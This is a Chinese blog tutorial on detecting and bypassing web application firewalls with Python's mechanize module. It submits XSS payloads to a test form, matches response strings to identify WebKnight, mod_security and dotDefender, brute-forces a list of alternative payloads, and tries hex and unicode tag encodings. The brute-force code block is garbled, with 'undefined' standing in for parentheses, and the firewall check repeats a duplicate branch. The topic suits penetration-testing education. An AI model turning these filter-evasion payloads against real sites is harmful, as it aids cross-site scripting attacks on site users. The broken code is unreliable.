使用Python检测并绕过Web应用程序防火墙

本文涉及的产品
Web应用防火墙 3.0,每月20元额度 3个月
云防火墙,500元 1000GB
简介: 本文讲的是使用Python检测并绕过Web应用程序防火墙,Web应用防火墙通常放置在Web服务器的前面,以过滤来自服务器的恶意流量。如果你去一家公司做渗透测试,他们忘记告诉你,他们使用的Web应用防火墙,可能会影响渗透测试进度。
本文讲的是 使用Python检测并绕过Web应用程序防火墙Web应用防火墙通常放置在Web服务器的前面,以过滤来自服务器的恶意流量。如果你去一家公司做渗透测试,他们忘记告诉你,他们使用的Web应用防火墙,可能会影响渗透测试进度。下图描绘了一个简单的Web应用程序防火墙的工作原理:

正如你可以看到它像Web流量和Web服务器之间的墙壁,通常现在Web应用防火墙是基于签名的。

什么是基于签名的防火墙?

在基于签名的防火墙中,您可以定义签名,因为您知道网络攻击也遵循类似的模式或签名。因此,我们可以定义匹配模式并阻止它们,即

Payload :- <svg><script>alert`1`<p>

上面定义的Payload是一种跨站点脚本攻击,我们知道所有这些攻击都可以包含以下字符“<script>”,所以为什么我们不定义一个可以阻止Web流量的签名,如果它包含这个字符串,我们可以定义2-3个签名如下:

    1. <script>

    2. alert(*)

第一个签名将阻止包含<script>子串的任何请求,第二个将阻止警报(任何文本)。那么这就是基于签名的防火墙的工作原理。

怎么知道有防火墙?

使用Python检测并绕过Web应用程序防火墙

如果您正在进行渗透测试,并且您不知道有防火墙阻塞流量,因为它可能浪费了大量的时间,因为大多数时候,您的攻击有效负载被防火墙阻止,所以,在开始渗透测试之前,首先测试Web应用程序防火墙存在是一个好主意。

大多数防火墙现在就留下一些关于它们的轨迹,现在如果您使用上面定义的有效载荷攻击网络应用程序,并获得以下响应:

HTTP/1.1 406 Not Acceptable
Date: Mon, 10 Jan 2016
Server: nginx
Content-Type: text/html; charset=iso-8859-1
Not Acceptable!Not Acceptable! An appropriate representation of the

您可以清楚地看到,您的攻击被Mod_Security防火墙阻止。在本文中,我们将看到我们如何开发一个简单的python脚本,可以执行此任务检测防火墙并绕过它。

步骤1:定义HTML文档和PHP脚本!

我们必须定义我们的HTML文档来注入有效载荷和相应的PHP脚本来处理数据。我们在下面定义了这两个。

我们将使用以下HTML文档:

<html>
<body>
<form name="waf" action="waf.php" method="post">
Data: <input type="text" name="data"><br>
<input type="submit" value="Submit">
</form>
</body>
</html>

PHP脚本:

<html>
<body>
Data from the form : <?php echo $_POST["data"]; ?><br>
</body>
</html>

步骤2:准备恶意请求!

检测防火墙存在的第二步是创建一个可以被防火墙阻止的恶意跨站脚本请求。我们将使用一个名为“Mechanize”的python模块,了解更多关于此模块的信息,请阅读以下文章:

Automate Cross Site Scripting (XSS) attack using Beautiful Soup and Mechanize

如果您已经了解了Mechanize,可以跳过阅读文章。现在您了解了Mechanize,我们可以选择任何页面上提供的Web表单并提交请求。以下代码片段可用于做到这一点:

import mechanize as mec
maliciousRequest = mec.Browser()
formName = 'waf'
maliciousRequest.open("http://check.cyberpersons.com/crossSiteCheck.html")
maliciousRequest.select_form(formName)

让我们明白这个代码行:

  1. 在第一行,我们导入了mechanize模块,并给它一个简称'mec'供以后参考。

  2. 要使用mechanize下载网页,需要实例化浏览器。我们已经在代码的第二行中做到了。

  3. 在第一步,我们定义了我们的HTML文档,其中表单名称为“waf”,我们需要告诉mechanize选择此表单提交,因此我们在名为formName的变量中使用此名称。

  4. 比我们打开这个URL,就像我们在浏览器中一样。页面打开后,我们填写表单并提交数据,因此页面的打开与此相同。

  5. 最后我们选择了使用'select_form'函数传递它'formName'变量的形式。

正如你可以在HTML源代码中看到的那样,这个表单只有一个输入字段,我们将在该字段中注入我们的payload,一旦我们收到响应,我们将检查它的字符串以检测是否存在Web应用防火墙。

步骤3:准备有效载荷

在我们的HTML文档中,我们使用以下代码指定了一个输入字段:

 <input type =“text”name =“data”> <br>

您可以看到该字段的名称是“data”,我们可以使用以下代码定义此字段的输入:

crossSiteScriptingPayLoad = "<svg><script>alert`1`<p>"
maliciousRequest.form['data'] = crossSiteScriptingPayLoad

  1. 第一行将我们的有效载荷保存在变量中。

  2. 在第二行代码中,我们已将我们的有效内容分配给表单字段“数据”。

我们现在可以安全地提交此表格并检查答复。

步骤4:提交表单并记录回复

代码我将在此行提及后提交表单并记录回复:

maliciousRequest.submit()
response=maliciousRequest.response().read()
print response

  1. 提交表单

  2. 将响应保存在变量中。

  3. 打印回应。

由于我目前没有安装防火墙,所以我得到的响应是:

使用Python检测并绕过Web应用程序防火墙

可以看到有效载荷被打印回我们,意味着应用程序代码中不存在过滤,并且由于没有防火墙,我们的请求也没有被阻止。

步骤5:检测防火墙的存在

名为“response”的变量包含从服务器获得的响应,我们可以使用响应来检测防火墙的存在。我们将尝试在本教程中检测到以下防火墙的存在。

  1. WebKnight

  2. mod_security

  3. Dot Defender

看看我们如何用python代码实现这一点:

if response.find('WebKnight') >= 0:
      print "Firewall detected: WebKnight"
elif response.find('Mod_Security') >= 0:
     print "Firewall detected: Mod Security"
elif response.find('Mod_Security') >= 0:
     print "Firewall detected: Mod Security"
elif response.find('dotDefender') >= 0:
     print "Firewall detected: Dot Defender"
else:
     print "No Firewall Present"

如果安装Web Knight防火墙并且我们的请求被阻止,响应字符串将在其中包含“WebKnight”,那么find函数将返回大于0的值,这意味着WebKnight防火墙存在。同样,我们也可以检查其他2个防火墙。

我们可以扩展这个小应用程序来检测多少个防火墙,但您必须知道响应行为。

使用强力来绕过防火墙过滤器

我在文章的开头提到,大多数防火墙都基于签名阻止请求。但是,您可以使用数千种方式构建payload。javascript比较复杂,我们可以列出有效负载,并尝试其中的每一个,记录每个响应并检查是否能够绕过防火墙。请注意,如果防火墙规则被明确定义,则此方法可能无法正常工作。让我们看看我们如何使用python来强爆:

listofPayloads = ['<dialog open="" onclose="alertundefined1)"><form method="dialog"><button>Close me!</button></form></dialog>', '<svg><script>prompt&#40 1&#41<i>', '<a href="&#1;javascript:alertundefined1)">CLICK ME<a>']
for payLoads in listofPayloads:
   maliciousRequest = mec.Browserundefined)
   formName = 'waf'
   maliciousRequest.openundefined"http://check.cyberpersons.com/crossSiteCheck.html")
   maliciousRequest.select_formundefinedformName)
   maliciousRequest.form['data'] = payLoads
   maliciousRequest.submitundefined)
   response = maliciousRequest.responseundefined).readundefined)
   if response.findundefined'WebKnight') >= 0:
       print "Firewall detected: WebKnight"
   elif response.findundefined'Mod_Security') >= 0:
       print "Firewall detected: Mod Security"
   elif response.findundefined'Mod_Security') >= 0:
       print "Firewall detected: Mod Security"
   elif response.findundefined'dotDefender') >= 0:
       print "Firewall detected: Dot Defender"
   else:
       print "No Firewall Present"

  1. 在第一行,我们定义了3个有效载荷的列表,您可以扩展此列表,并根据需要添加多个有效负载。

  2. 然后在for循环中,我们做了与上面所做的相同的过程,但是这一次对于列表中的每个有效载荷。

  3. 收到响应后,我们再次比较看看防火墙是否存在。

因为我没有安装防火墙,我的输出是:

使用Python检测并绕过Web应用程序防火墙

将HTML标签转换为Unicode或Hex实体

如果防火墙正在过滤html标签,如<>。我们可以发送相应的Unicode或Hex实体,看看它们是否被转换为原始形式,如果是这样,那么这也可能是一个入口点。以下代码可用于检查此过程:

  listofPayloads = ['<b>','u003cbu003e','x3cbx3e']
  for payLoads in listofPayloads:
    maliciousRequest = mec.Browser()
    formName = 'waf'
    maliciousRequest.open("http://check.cyberpersons.com/crossSiteCheck.html")
    maliciousRequest.select_form(formName)
    maliciousRequest.form['data'] = payLoads
    maliciousRequest.submit()
    response = maliciousRequest.response().read()
    print "---------------------------------------------------"
    print response
    print "---------------------------------------------------"

每次我们将发送编码的数据,在响应中,我们将检查是否转换或打印回而不进行转换,当我运行这个代码,我得到了这个输出:

使用Python检测并绕过Web应用程序防火墙

表示没有编码的数据被转换为其原始格式。

结论

本文的目的是让您了解web应用防火墙,测试您网络的安全性,很多时候我们首先关心的应用程序的稳定性,但是我们忽略了安全部分,导致后期出现了严重的安全问题。




原文发布时间为:2017年6月23日
本文作者:愣娃
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。
目录
相关文章
|
1天前
|
API 数据库 开发者
Flask:Python的轻量级Web框架
Flask:Python的轻量级Web框架
8 2
|
2天前
|
前端开发 API 开发者
从零到精通,AJAX与Fetch API让你的Python Web前后端交互无所不能!
从零到精通,AJAX与Fetch API让你的Python Web前后端交互无所不能!
11 3
|
12天前
|
Linux Android开发 iOS开发
开源的Python库,用于开发多点触控应用程序
Kivy是一款开源Python库,专为开发多点触控应用设计,支持Android、iOS、Linux、OS X和Windows等平台。本文将指导你使用Kivy创建“Hello World”应用并打包成Android APK。首先通过`pip install kivy`安装Kivy,然后创建并运行一个简单的Python脚本。接着,安装Buildozer并通过`buildozer init`生成配置文件,修改相关设置后,运行`buildozer -v android debug`命令打包应用。完成构建后,你将在`./bin/`目录下找到类似`your-app-debug.apk`的文件。
15 2
|
13天前
|
前端开发 JavaScript 安全
深入理解Python Web开发中的前后端分离与WebSocket实时通信技术
在现代Web开发中,前后端分离已成为主流架构,通过解耦前端(用户界面)与后端(服务逻辑),提升了开发效率和团队协作。前端使用Vue.js、React等框架与后端通过HTTP/HTTPS通信,而WebSocket则实现了低延迟的全双工实时通信。本文结合Python框架如Flask和Django,探讨了前后端分离与WebSocket的最佳实践,包括明确接口规范、安全性考虑、性能优化及错误处理等方面,助力构建高效、实时且安全的Web应用。
33 2
|
13天前
|
前端开发 Python
前后端分离的进化:Python Web项目中的WebSocket实时通信解决方案
在现代Web开发领域,前后端分离已成为一种主流架构模式,它促进了开发效率、提升了应用的可维护性和可扩展性。随着实时数据交互需求的日益增长,WebSocket作为一种在单个长连接上进行全双工通讯的协议,成为了实现前后端实时通信的理想选择。在Python Web项目中,结合Flask框架与Flask-SocketIO库,我们可以轻松实现WebSocket的实时通信功能。
29 2
|
1天前
|
前端开发 JavaScript Python
Python Web应用中的WebSocket实战:前后端分离时代的实时数据交换
在前后端分离的Web应用开发模式中,如何实现前后端之间的实时数据交换成为了一个重要议题。传统的轮询或长轮询方式在实时性、资源消耗和服务器压力方面存在明显不足,而WebSocket技术的出现则为这一问题提供了优雅的解决方案。本文将通过实战案例,详细介绍如何在Python Web应用中运用WebSocket技术,实现前后端之间的实时数据交换。
7 0
|
1天前
|
XML 前端开发 API
惊艳全场的秘诀!AJAX、Fetch API与Python后端,打造令人惊叹的Web应用!
惊艳全场的秘诀!AJAX、Fetch API与Python后端,打造令人惊叹的Web应用!
5 0
|
1天前
|
运维 负载均衡 安全
深度解析:Python Web前后端分离架构中WebSocket的选型与实现策略
深度解析:Python Web前后端分离架构中WebSocket的选型与实现策略
8 0
|
1天前
|
JSON API 开发者
深入解析Python网络编程与Web开发:urllib、requests和http模块的功能、用法及在构建现代网络应用中的关键作用
深入解析Python网络编程与Web开发:urllib、requests和http模块的功能、用法及在构建现代网络应用中的关键作用
6 0
|
1天前
|
测试技术 iOS开发 MacOS
Python和Web--使用Web框架之Flask简单用例
Python和Web--使用Web框架之Flask简单用例